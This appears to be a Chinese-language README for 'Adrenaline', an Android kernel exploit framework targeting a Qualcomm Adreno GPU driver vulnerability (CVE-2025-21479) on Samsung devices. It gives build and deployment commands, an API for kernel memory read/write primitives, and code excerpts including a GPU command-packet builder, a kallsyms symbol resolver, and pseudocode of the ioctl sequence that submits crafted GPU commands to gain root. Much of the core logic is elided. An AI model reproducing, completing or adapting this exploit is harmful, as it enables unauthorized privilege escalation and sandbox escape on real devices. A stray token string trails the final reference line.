Adrenaline:基于高通 Adreno GPU 漏洞的内核利用框架
Adrenaline 是一个专注于利用高通 Adreno GPU 驱动漏洞(如 CVE-2025-21479)的高阶安全研究项目。它通过构造特定的 GPU 命令和页表,在 Android 内核空间实现任意内存读写,从而突破 Android 的沙箱限制,最终获取完整的 Root 权限。该项目是深入理解现代移动操作系统内核利用技术的宝贵资源。
功能特性
- 内核任意内存读写:利用 Adreno GPU 的 MMU 漏洞,实现从用户态对内核物理内存的读写操作。
- 支持多款三星设备:项目积极适配三星设备,并计划通过不同分支来管理针对特定设备的适配代码。
- 自动化内核基址查找:集成了通过 GPU 漏洞查找内核加载基址的辅助功能,提高了漏洞利用的自动化程度。
- 内核符号解析器:包含一个从内核二进制中提取和解析
kallsyms信息的自定义工具,用于精确定位内核函数。 - 设备移植指南:提供详细的文档和脚本,指导安全研究人员如何将漏洞利用代码适配到新的 Android 设备上。
安装指南
该利用框架主要以 C 源代码形式提供,需要在 Linux 环境下交叉编译为 Android 可执行文件。
系统要求
- 主机系统: Linux (推荐 Ubuntu 20.04 或更高版本)
- 目标设备: 已解锁 Bootloader 的 Android 设备,具备 ADB 调试功能。
- 工具链: Android NDK 或已配置好的交叉编译环境。
编译步骤
-
获取源码
git clone https://github.com/yourusername/adrenaline.git cd adrenaline -
准备 Android NDK 下载并设置 Android NDK(例如 r23b 或更高版本),并确保
ndk-build命令可用。 -
编译利用程序
# 设置 NDK 项目路径,编译所有模块 ndk-build编译成功后,会在
libs/$(TARGET_ARCH_ABI)/目录下生成可执行文件。 -
推送至设备
adb push libs/arm64-v8a/adrenaline /data/local/tmp/ adb shell chmod 755 /data/local/tmp/adrenaline
使用说明
该利用框架的核心是 adrenaline 二进制文件。它通过精心构造的 GPU 命令与 Adreno GPU 驱动交互,触发漏洞并建立内核内存的读写原语。
基础使用示例
在具有 ADB root 权限的 shell 环境中执行:
# 进入临时目录
cd /data/local/tmp
# 运行漏洞利用程序
./adrenaline
典型使用场景:获取 Root Shell
- 运行利用程序: 在 ADB Shell 中执行编译好的
adrenaline程序。 - 漏洞触发与权限提升: 程序运行后,会尝试触发漏洞,利用 GPU 的内存操作能力,修改当前进程的权限(例如,将
uid修改为 0),从而获得 root 权限。 - 进入 Root Shell: 利用成功后,程序通常会派生一个 root 权限的 shell。
API 概览
该框架的核心逻辑封装在几个关键函数中,用于构建 GPU 命令和实现读写操作。
int setup_pagetables(): 初始化用于欺骗 GPU MMU 的伪造页表。int DoWrite(): 利用漏洞执行内核内存写操作。参数指定目标物理地址、写入的数据和大小。int DoReadContiguous(): 利用漏洞执行内核内存读操作。参数指定源物理地址和读取的数据长度。uint64_t cheese_kallsyms_lookup(): 自定义的内核符号查找函数,用于从内核镜像中解析出指定符号的地址。
核心代码
1. GPU 命令构建器 (adrenaline.h)
该头文件定义了与 Adreno GPU 交互所需的数据结构和内联函数,用于构建 CP (Command Processor) 数据包,这是漏洞利用的“弹药”。
// adrenaline.h (部分关键代码)
// ... (省略枚举和结构体定义)
// 构建一个类型为 7 的数据包,用于发送 GPU 命令
static inline uint cp_type7_packet(uint opcode, uint cnt) {
return CP_TYPE7_PKT | ((cnt) << 0) |
(pm4_calc_odd_parity_bit(cnt) << 15) |
(((opcode) & 0x7F) << 16) |
((pm4_calc_odd_parity_bit(opcode) << 23));
}
// 生成一个等待 GPU 空闲的命令
static inline uint cp_wait_for_idle(uint *cmds) {
uint *start = cmds;
*cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0);
return cmds - start;
}
// 将 GPU 地址(64位)写入命令流
static inline uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr) {
uint *start = cmds;
*cmds++ = lower_32_bits(gpuaddr);
*cmds++ = upper_32_bits(gpuaddr);
return cmds - start;
}
2. 内核符号解析器 (kallsyms_lookup.c)
从原始内核镜像中解析符号表,即使内核没有导出 /proc/kallsyms,也能找到关键函数的地址。
// kallsyms_lookup.c (部分代码)
struct cheese_kallsyms_lookup {
const void* kernel_data; // 内核镜像数据指针
size_t kernel_length; // 内核镜像大小
const int* kallsyms_offsets; // 符号偏移表
uint64_t kallsyms_relative_base; // 相对地址基址
// ... 其他解析所需字段
};
// 根据符号名称查找其在内核中的虚拟地址
uint64_t cheese_kallsyms_lookup(struct cheese_kallsyms_lookup* kallsyms_lookup,
const char* name) {
// ... 复杂的解析逻辑
// 1. 遍历 kallsyms_names 找到名称索引
// 2. 根据索引从 kallsyms_offsets 获取偏移
// 3. 结合 kallsyms_relative_base 计算最终地址
// 4. 返回符号地址
}
3. 漏洞利用主逻辑片段 (adrenaline.c)
展示了如何组合使用上述模块,通过 ioctl 与 GPU 驱动交互,发送恶意构造的命令。
// adrenaline.c (部分伪代码)
struct cheese_gpu_rw ctx; // 上下文,包含文件描述符、GPU 地址映射等
// 1. 初始化 GPU 上下文 (创建绘制上下文)
ioctl(ctx.fd, IOCTL_KGSL_DRAWCTXT_CREATE, &create_ctx);
ctx.ctx_id = create_ctx.drawctxt_id;
// 2. 分配并映射内存到 GPU 地址空间 (kFakeGpuAddr)
struct kgsl_map_user_mem map;
map.hostptr = (unsigned long)ctx.payload_buf; // 用户空间缓冲区
map.gpuaddr = kFakeGpuAddr; // 我们想要欺骗 GPU 使用的地址
map.len = ...;
map.memtype = KGSL_USER_MEM_TYPE_ION;
ioctl(ctx.fd, IOCTL_KGSL_MAP_USER_MEM, &map);
ctx.payload_gpuaddr = map.gpuaddr; // 获取 GPU 侧的实际地址
// 3. 构造恶意的 GPU 命令包,包含伪造的页表地址和读写操作
uint32_t gpu_commands[256];
uint32_t *cmds = gpu_commands;
// ... 填充命令,包括 CP_WAIT_FOR_ME, CP_MEM_WRITE 等
// 利用 _adreno_iommu_add_idle_indirect_cmds 等函数来构建命令链
// 4. 提交命令给 GPU 执行,触发漏洞
struct kgsl_gpu_command gpu_cmd;
gpu_cmd.context_id = ctx.ctx_id;
gpu_cmd.cmdlist = (uint64_t)gpu_commands;
gpu_cmd.numcmds = ...;
ioctl(ctx.fd, IOCTL_KGSL_GPU_COMMAND, &gpu_cmd);
// 5. 漏洞触发后,通过共享内存查看读取到的内核数据
sync_cache_from_gpu(ctx.output_buf, ctx.output_buf + ...);
// ctx.output_buf 中现在包含了从内核物理地址读出的数据
参考资料
- 原始灵感项目:zhuowei/cheese
- CVE-2025-21479 详细分析
- Android GPU 攻击技术分析FINISHED 6HFtX5dABrKlqXeO5PUv/085k+zkHb5Gpr2guRgZrdE=